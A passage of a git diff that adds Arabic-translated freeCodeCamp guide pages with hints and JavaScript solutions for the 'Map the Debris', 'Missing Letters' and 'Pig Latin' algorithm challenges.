+*   ثم يمكننا المضي قدمًا لإنشاء الطرق الست المطلوبة وإعادة ما يُطلب منك.
+*   بالنسبة للمستوطنين ، يمكننا استخدام الانقسام لتحويل الاسم بالكامل إلى مصفوفة من الأسماء الأولى والأخيرة وسَلسَلة الجزء غير المتغير من الاسم مع ما تم تمريره كمعلمة.
+
+#### روابط ذات صلة
+
+*   [كيفية بناء الأشياء](https://www.freecodecamp.org/challenges/build-javascript-objects)
+*   [بناء الأشياء مع وظائف](https://www.freecodecamp.org/challenges/construct-javascript-objects-with-functions)
+*   [قم بتعريف الكائنات كمتغيرات](https://www.freecodecamp.org/challenges/declare-javascript-variables)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](https://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/map-the-debris/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/map-the-debris/index.md
new file mode 100644
index 0000000000..aae7c4c9d7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/map-the-debris/index.md
@@ -0,0 +1,166 @@
+---
+title: Map the Debris
+localeTitle: رسم خريطة الحطام
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+أول شيء تفعله هو التعرف على ما هو البرنامج من خلال معرفة ما هي الفترة المدارية بالضبط. يجب عليك إرجاع صفيف جديد يحول متوسط ​​الارتفاع للعنصر إلى فتراتها المدارية. الأجزاء التي تم العثور عليها بشكل صعب هي العثور على الصيغة ، وتطبيقها ، وبالنسبة لبعض الناس ، وتعديل الكائنات عن طريق المفتاح. ومع ذلك ، هناك شيء غير واضح للغاية هو حقيقة أن البرنامج الخاص بك يجب أن يكون قادرا على التحقق من وجود أي عدد من الكائنات في الصفيف. هذا ما تم اختباره في الجزء الثاني.
+
+#### روابط ذات صلة
+
+*   [المداري](https://en.wikipedia.org/wiki/Orbital_period)
+*   [كائنات شبيبة](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object)
+*   [Math.PI](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/PI)
+*   [JS Math Pow](http://forum.freecodecamp.com/t/javascript-math-pow/14685)
+*   [Math.sqrt ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt)
+*   [Math.round ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+الصيغة المطلوبة هي:
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e212370f07c55165ff69f318ee1eed24779c7532.png)
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+استخدم `Math.round()` التالي كما هو مطلوب. `Math.ceil()` استخدام `Math.ceil()` بتمرير الاختبار الأول لكنه يفشل في الاختبار الثاني.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+تعرف على كيفية إزالة وإضافة مفتاح إلى كائن JavaScript.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function orbitalPeriod(arr) { 
+  var GM = 398600.4418; 
+  var earthRadius = 6367.4447; 
+  var a = 2 * Math.PI; 
+  var newArr = []; 
+  var getOrbPeriod = function(obj) { 
+    var c = Math.pow(earthRadius + obj.avgAlt, 3); 
+    var b = Math.sqrt(c / GM); 
+    var orbPeriod = Math.round(a * b); 
+    delete obj.avgAlt; 
+    obj.orbitalPeriod = orbPeriod; 
+    return obj; 
+  }; 
+ 
+  for (var elem in arr) { 
+    newArr.push(getOrbPeriod(arr[elem])); 
+  } 
+ 
+  return newArr; 
+ } 
+ 
+ // test here 
+ orbitalPeriod([{name : "sputnik", avgAlt : 35873.5553}]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLow/0)
+
+### شرح الشفرة:
+
+*   **جنرال موتورز** و **earthRadius** على حد سواء تعطى لنا.
+*   لتسهيل عملية تحرير التعليمات البرمجية وقراءتها ، يتم كتابة كل جزء من المعادلة بشكل منفصل.
+*   قم **بإنشاء newArr** لتخزين `orbPeriod` .
+*   **أ** هو 2 مرات بي. الجزء الذي هو ثابت على النطاق العالمي بينما الباقي جزء من وظيفة.
+*   إنشاء دالة ، `gerOrbPeriod()` التي ستقوم `gerOrbPeriod()` العمل المطلوب لأي مقدار من الكائنات.
+*   **ج** ( **earthRadius** + **avgAlt** ) إلى المكعب.
+*   **b** هي الجذر التربيعي لـ **c** مقسومة على **GM** .
+*   قم **بإنشاء orbPeriod** لتخزين المنتج من **a** و **b** ، مع وظيفة `Math.round()` المطبقة على تقريب ما يصل إلى العدد `Math.round()` التالي.
+*   ثم نحذف المفتاح **avgAlt** ، ونضيف المفتاح الجديد وقيمته.
+
+#### روابط ذات صلة
+
+*   [JS For In Loop](http://forum.freecodecamp.com/t/javascript-for-in-loop/14665)
+*   [JS Array Prototype Push](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function orbitalPeriod(arr) { 
+  var GM = 398600.4418; 
+  var earthRadius = 6367.4447; 
+ 
+  //Looping through each key in arr object 
+  for(var prop in arr) { 
+    //Rounding off the orbital period value 
+    var orbitalPer = Math.round(2 * Math.PI * Math.sqrt(Math.pow(arr[prop].avgAlt + earthRadius, 3) / GM)); 
+    //deleting the avgAlt property 
+    delete arr[prop].avgAlt; 
+    //adding orbitalPeriod property 
+    arr[prop].orbitalPeriod = orbitalPer; 
+  } 
+ 
+  return arr; 
+ } 
+ 
+ // test here 
+ orbitalPeriod([{name : "sputnik", avgAlt : 35873.5553}]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLoy/0)
+
+### شرح الشفرة:
+
+*   **جنرال موتورز** و **earthRadius** على حد سواء تعطى لنا.
+*   يتم استخدام حلقة `for..in` للتكرار خلال كل قيمة في **arr** الصفيف المحدد.
+*   يحتفظ **orbitalPer** بقيمة الفترة المدارية لكل تكرار يتم حسابه باستخدام الصيغة.
+*   يتم حذف المفتاح **avgAlt** ، ويتم تعيين **orbitalPer** الموجود في **arr** .
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function orbitalPeriod(arr) { 
+  var GM = 398600.4418; 
+  var earthRadius = 6367.4447; 
+ 
+  // Loop through each item in the array arr 
+  arr.forEach(function(item) { 
+    // Calculate the Orbital period value 
+    var tmp = Math.round(2 * Math.PI * Math.sqrt(Math.pow(earthRadius + item.avgAlt, 3) / GM)); 
+    //Delete the avgAlt property 
+    delete item.avgAlt; 
+    //Add orbitalPeriod property 
+    item.orbitalPeriod = tmp; 
+  }); 
+  return arr; 
+ } 
+ 
+ // test here 
+ orbitalPeriod([{name : "sputnik", avgAlt : 35873.5553}]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLoz/0)
+
+### شرح الشفرة:
+
+*   **جنرال موتورز** و **earthRadius** على حد سواء تعطى لنا.
+*   يتم استخدام أسلوب `forEach()` لتنفيذ الوظيفة مرة واحدة لكل عنصر ( **عنصر** ) في **arr** .
+*   يحتفظ **tmp** بقيمة الفترة المدارية لكل عنصر محسوب باستخدام الصيغة.
+*   يتم حذف المفتاح **avgAlt** ، ويتم تعيين الفترة المدارية ( **tmp** ) التي تم العثور عليها إلى مفتاح **orbitalPeriod** .
+
+#### روابط ذات صلة
+
+*   [JS Array Prototype ForEach](http://forum.freecodecamp.com/t/javascript-array-prototype-foreach/14290)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/missing-letters/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/missing-letters/index.md
new file mode 100644
index 0000000000..54fc146554
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/missing-letters/index.md
@@ -0,0 +1,175 @@
+---
+title: Missing Letters
+localeTitle: حروف ناقصة
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+سوف تقوم بإنشاء برنامج سيعثر على الحرف المفقود من سلسلة وإعادته. إذا لم يكن هناك حرف مفقود ، يجب أن يقوم البرنامج بإرجاع غير محدد. لا توجد حالياً حالة اختبار للسلسلة المفقودة لأكثر من حرف واحد ، ولكن إذا كان هناك حرف ، فسيتم استخدام العودية. أيضا ، يتم دائمًا توفير الأحرف بالترتيب ، لذلك لا توجد حاجة لفرزها.
+
+#### روابط ذات صلة
+
+*   [كائن عالمي السلسلة](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+*   [JS String Prototype CharCodeAt](http://forum.freecodecamp.com/t/javascript-string-prototype-charcodeat/15933)
+*   String.fromCharCode
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+ستحتاج إلى التحويل من رمز إلى رمز ASCII باستخدام الطريقتين المقدمتين في الوصف.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+سيكون عليك التحقق من الاختلاف في كود ASCII كما هي بالترتيب. استخدام الرسم البياني سيكون مفيدا للغاية.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+ستحتاج إلى معرفة مكان الرسالة المفقودة ، مع التعامل مع الحالة التي لا يوجد بها حرف مفقود لأنه يحتاج إلى قيمة إرجاع محددة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function fearNotLetter(str) { 
+ 
+  for(var i = 0; i < str.length; i++) { 
+    /* code of current character */ 
+    var code = str.charCodeAt(i); 
+ 
+    /* if code of current character is not equal to first character + no of iteration 
+    hence character has been escaped */ 
+    if (code !== str.charCodeAt(0) + i) { 
+ 
+      /* if current character has escaped one character find previous char and return */ 
+      return String.fromCharCode(code - 1); 
+    } 
+  } 
+  return undefined; 
+ } 
+ 
+ // test here 
+ fearNotLetter("abce"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnD/0)
+
+### شرح الشفرة:
+
+*   تستفيد هذه الحلول من حلقة `for` .
+*   يتم تخزين **رمز** الحرف المصادفة في **التعليمات البرمجية** .
+*   يتم التحقق إذا كان رمز الحرف الحالي هو الحرف المتوقع (لا يتم تخطي أي حرف) باستخدام `code of current character = code of first character + number of iterations` منطقي `code of current character = code of first character + number of iterations` .
+*   إذا كان الحرف مفقودًا ، يتم العثور على الحرف المفقود ويتم إرجاع السلسلة النهائية.
+*   يتم إرجاع `undefined` إذا لم يكن هناك حرف مفقود في السلسلة.
+
+#### روابط ذات صلة
+
+*   [شبيبة لشرح الحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   طول سلسلة
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `// Adding this solution for the sake of avoiding using 'for' and 'while' loops. 
+ // See the explanation for reference as to why. It's worth the effort. 
+ 
+ function fearNotLetter(str) { 
+  var compare = str.charCodeAt(0), missing; 
+ 
+  str.split('').map(function(letter,index) { 
+    if (str.charCodeAt(index) == compare) { 
+      ++compare; 
+    } else { 
+      missing = String.fromCharCode(compare); 
+    } 
+  }); 
+ 
+  return missing; 
+ } 
+ 
+ // test here 
+ fearNotLetter("abce"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnE/0)
+
+### شرح الشفرة:
+
+*   أولاً ، نحدد المتغيرات لتخزين رمز الحرف للحرف الأول في السلسلة ، ولتخزين أي أحرف مفقودة قد نجدها.
+*   ننتقل السلسلة إلى مجموعة من أجل تعيين من خلال ذلك بدلا من استخدام `for` و `while` الحلقات.
+*   بينما `map` خلال رموز الأحرف الخاصة بالحروف ، نذهب إلى المقارنة مع تلك التي يجب أن تكون في هذا الموقف.
+*   إذا تطابق الحرف الحالي ، فإننا ننقل متغير المقارنة إلى موضعه التالي حتى يمكننا المقارنة في الدورة التالية.
+*   إذا لم يكن الأمر كذلك ، سيتم تعيين الحرف المفقود إلى المتغير `missing` ، والذي سيتم إرجاعه بعد الانتهاء من الخريطة.
+*   إذا لم تكن هناك أحرف مفقودة ، `undefined` .
+
+#### روابط ذات صلة
+
+*   [JS String Prototype Split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [JS Array Prototype Map](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") حل رمز متقدم مبسط:
+
+ `function fearNotLetter(str) { 
+  for (let i = 1; i < str.length; ++i) { 
+    if (str.charCodeAt(i) - str.charCodeAt(i-1) > 1) { 
+      return String.fromCharCode(str.charCodeAt(i - 1) + 1); 
+    } 
+  } 
+ } 
+` 
+
+### شرح الشفرة:
+
+*   حلقة فوق السلسلة
+*   تحقق مما إذا كان الاختلاف في رموز char بين الأحرف المتجاورة في السلسلة أكثر من 1 (جدول ASCII chack)
+*   إرجاع الحرف المفقود (1+ من حيث تم اكتشاف الفجوة)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function fearNotLetter(str) { 
+  var allChars = ''; 
+  var notChars = new RegExp('[^'+str+']','g'); 
+ 
+  for (var i = 0; allChars[allChars.length-1] !== str[str.length-1] ; i++) 
+    allChars += String.fromCharCode(str[0].charCodeAt(0) + i); 
+ 
+  return allChars.match(notChars) ? allChars.match(notChars).join('') : undefined; 
+ } 
+ 
+ // test here 
+ fearNotLetter("abce"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnG/0)
+
+### شرح الشفرة:
+
+*   يتم إنشاء سلسلة جديدة **allChars** .
+*   قم بإنشاء التعبير العادي **notChars** الذي يحدد كل شيء باستثناء **str** .
+*   يتم استخدام حلقة `for` لإضافة كافة الأحرف في النطاق إلى كافة **Chars** .
+*   يتم استخدام `match()` لإلغاء تجريد الأحرف **str** من السلسلة التي تم إنشاؤها حديثًا ويتم إرجاعها.
+*   إذا لم تكن هناك أحرف مفقودة ، `undefined` .
+
+#### روابط ذات صلة
+
+*   شبيبة ريجكس الموارد
+*   [JS Ternary](http://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+*   [JS String Prototype Match](http://forum.freecodecamp.com/t/javascript-string-prototype-match/15941)
+*   [شبيبة صفيف النموذج](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/pig-latin/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/pig-latin/index.md
new file mode 100644
index 0000000000..5e60bb8b35
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/pig-latin/index.md
@@ -0,0 +1,182 @@
+---
+title: Pig Latin
+localeTitle: خنزير اللاتينية
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+تحتاج إلى إنشاء برنامج من الإنجليزية إلى الخنزير اللاتينية. خنزير لاتيني يأخذ أول ساكن ساكن (أو ساكن الكتلة) لكلمة إنجليزية ، ينقلها إلى نهاية الكلمة ويضيف لاحقاً "أي". إذا كانت الكلمة تبدأ بحرف متحرك ، فما عليك سوى إضافة "way" إلى النهاية. قد لا يكون الأمر واضحًا ، لكنك بحاجة إلى إزالة جميع الحروف الساكنة حتى حرف العلة الأول في حالة عدم بدء الكلمة بحرف متحرك.
+
+#### روابط ذات صلة
+
+*   [خنزير اللاتينية](http://en.wikipedia.org/wiki/Pig_Latin)
+*   [JS String Prototype Match](http://forum.freecodecamp.com/t/javascript-string-prototype-match/15941)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+ربما تريد استخدام التعبيرات العادية. هذا سيسمح لك بتحويل الكلمات بسهولة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+إذا كان الحرف الأول حرفًا متحركًا ، فخذ الكلمة بأكملها وأضف "طريقًا" في النهاية. خلاف ذلك يأتي الجزء صعب ، واتخاذ ساكن (ق) قبل حرف العلة الأول وتحريكه إلى النهاية وإضافة "ay". قد يكون هذا أمرًا مربكًا ، ولكنه ليس مجرد الحرف الساكن الأول ، بل كلهم ​​قبل الحرف الأول.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+سوف تحتاج إلى استخدام كل ما تعرفه عن التلاعب بالسلسلة للحصول على الجزء الأخير بشكل صحيح. ومع ذلك ، يمكن القيام به مع `substr` وحده.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function translatePigLatin(str) { 
+  // Create variables to be used 
+  var pigLatin = ''; 
+  var regex = /[aeiou]/gi; 
+ 
+  // Check if the first character is a vowel 
+  if (str[0].match(regex)) { 
+    pigLatin = str + 'way'; 
+ 
+  } else if(str.match(regex) === null) { 
+    // Check if the string contains only consonants 
+    pigLatin = str + 'ay'; 
+  } else { 
+ 
+    // Find how many consonants before the first vowel. 
+    var vowelIndice = str.indexOf(str.match(regex)[0]); 
+ 
+    // Take the string from the first vowel to the last char 
+    // then add the consonants that were previously omitted and add the ending. 
+    pigLatin = str.substr(vowelIndice) + str.substr(0, vowelIndice) + 'ay'; 
+  } 
+ 
+  return pigLatin; 
+ } 
+ 
+ // test here 
+ translatePigLatin("consonant"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLmt/0)
+
+### شرح الشفرة:
+
+*   جعل سلسلة فارغة لعقد كلمة الخنزير اللاتينية.
+*   قم بتعيين التعبير العادي المناسب للمتغير.
+*   إذا كان الحرف الأول حرفًا متحركًا ، فما عليك سوى إضافة **طريقة** إلى نهاية السلسلة وإعادتها.
+*   إذا لم يكن الحرف الأول حرفًا متحركًا:
+    *   العثور على عدد من الحروف الساكنة قبل الحرف الأول مع مساعدة من `indexOf()` ، `match()` و regex.
+    *   بدء سلسلة خنزير اللاتينية مع أول حرف علة حتى النهاية.
+    *   أضف الحروف قبل حرف العلة الأول لنهاية السلسلة.
+    *   `substr()` يستخدم للتلاعب بالسلسلة هنا.
+    *   أضف **ay** إلى نهاية السلسلة وأعدها.
+
+#### روابط ذات صلة
+
+*   شبيبة ريجكس الموارد
+*   [JS String Prototype IndexOf](http://forum.freecodecamp.com/t/javascript-string-prototype-indexof/15936)
+*   [JS String Prototype Substr](http://forum.freecodecamp.com/t/javascript-string-prototype-substr/15945)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function translatePigLatin(str) { 
+  function check(obj) { 
+      return ['a','i','u','e','o'].indexOf(str.charAt(obj)) == -1 ? check(obj + 1) : obj; 
+  } 
+ 
+  return str.substr(check(0)).concat((check(0) === 0 ? 'w' : str.substr(0, check(0))) + 'ay'); 
+ } 
+ 
+ // test here 
+ translatePigLatin("consonant"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLmw/0)
+
+### شرح الشفرة:
+
+*   هذا هو نهج تفسيري وكذلك تعاودي لهذه المشكلة.
+*   `check()` هي وظيفة تقوم بفحص الحرف الأول من السلسلة ليكون في صفيف حروف العلة ، `['a','i','u','e','o']` .
+*   في حالة الحروف الساكنة ، فإن `check()` يستدعي نفسه على الحروف التالية حتى يعثر على الحرف الأول.
+*   سيعود المؤشر إلى أي شيء يجد أنه آخر حرف مبدئي ، أي أن Schmidtsville سيكون 3.
+*   بعد ذلك ، يتم رفع الحروف إلى أن تتم إزالة هذا الفهرس من السلسلة وتتصل مع نفس الجزء من السلسلة التي تمت إزالتها أو **w** وفقا لذلك ، ثم **ay ay** بغض النظر.
+
+#### روابط ذات صلة
+
+*   [JS String Prototype CharAt](http://forum.freecodecamp.com/t/javascript-string-prototype-charat/15932)
+*   [JS String Prototype Concat](http://forum.freecodecamp.com/t/javascript-string-prototype-concat/15935)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function translatePigLatin(str) { 
+    var strArr = []; 
+    var tmpChar; 
+ 
+    // check if the char is consonant using RegEx 
+    function isConsonant(char) { 
+        return !/[aeiou]/.test(char); 
+    } 
+ 
+    // return initial str + "way" if it starts with vowel 
+    // if not - convert str to array 
+    if (!isConsonant(str.charAt(0))) 
+        return str + "way"; 
+    else 
+        strArr = str.split(""); 
+ 
+    // push all consonats to the end of the array 
+    while (isConsonant(strArr[0])) { 
+        tmpChar = strArr.shift(); 
+        strArr.push(tmpChar); 
+    } 
+ // convert array to string and concatenate "ay" at the end 
+ return strArr.join("")+"ay"; 
+ } 
+ 
+ // test here 
+ translatePigLatin("consonant"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLmv/0)
+
+### شرح الشفرة:
+
+*   يتم استخدام `isConsonant()` للتحقق ما إذا كان الحرف حرف ساكن.
+*   إذا كان الحرف الأول حرفًا متحركًا ، فأضف **طريقًا** إلى نهاية السلسلة وأعده.
+*   إذا لم يكن الحرف الأول حرفًا متحركًا:
+    *   تقسيم السلسلة إلى صفيف باستخدام `split()` .
+    *   دفع جميع الحروف الساكنة إلى نهاية مجموعة مع مساعدة من `shift()` `push()` .
